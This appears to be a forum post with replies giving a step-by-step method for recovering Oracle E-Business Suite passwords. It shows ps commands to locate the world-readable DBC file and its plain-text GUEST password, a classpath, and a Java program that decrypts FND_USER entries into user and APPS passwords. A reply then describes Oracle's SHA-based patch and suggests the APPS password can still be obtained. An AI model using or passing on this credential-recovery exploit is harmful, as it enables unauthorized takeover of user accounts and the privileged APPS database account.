If i am normal os user on system and have select any table privilege or select privilege on fnd_user table. I can easily break all the passwords even if i donot know the installation directory of oracle apps.

1. First step is to get guest user password

do the ps and try to find Ddbcfile
ps -eaf|grep Ddbcfile
from there you can get the FND_TOP location and DBCFILE location. The DBC file readable by all and there is plain text entry for guest user password.

2. Now you can easily set the classpath as you the APPL_TOP location and OAH_TOP location from ps command above
/usr/local/j2sdk1.4.2_15/jre/lib/rt.jar:/usr/local/j2sdk1.4.2_15/lib/dt.jar:/usr/local/j2sdk1.4.2_15/lib/tools.jar:/usr/local/j2sdk1.4.2_15/jre/lib/charsets.jar:/usr02/app/applebid/admin/ebid/java/appsborg2.zip::/usr02/app/applebid/product/8.0.6/forms60/java:/usr02/app/applebid/admin/ebid/java:/export/home/applebt1

3. Now write a simple Java code

public class GetPassword {
public static void main(String[] args) {

String appspassword=new String();
String guest_pwd=new String();
String userpass=new String();
String encrypted_foundation_passsword=new String();
String encrypted_passsword=new String();

guest_pwd=”GUEST/ORACE”; /* fvalue got from dbc file */
encrypted_foundation_passsword=”fafasfafafaf”; /* value got from fnd_user table for GUEST user */
encrypted_passsword=”rfsfsfsafsfsfsf”; /* value got from fnd_user table for given user */
appspassword= oracle.apps.fnd.security.WebSessionManagerProc.decrypt(guest_pwd, encrypted_foundation_passsword);
userpass= oracle.apps.fnd.security.WebSessionManagerProc.decrypt(appspassword,encrypted_passsword);
System.out.println(”user password:”+userpass);
System.out.println(” apps password:”+appspassword);
}

}

4. compile and run and you will get the user and apps password.

As Oracle has written in the patch description now user passwords are stored in the following way:
1) at first SHA digest is made from user password
2) and then SHA digest is encrypted with APPS password and stored in encrypted_user_password column

When password verification is done then
1) encrypted_user_password is decrypted with APPS password
2) SHA1 of user password is compared with decrypted result

So it means that it will not be possible to find out all user passwords using APPS password as decryption key.

But as it seems to me if you will have SQL access to the database and if you will have at least one EBS login and password for this database then you will still be able to get APPS password.

-Brian

Thanks
Nilesh

You may also want to visit forums.oracle.com and ask your questions there. Usually, you will get a faster response there.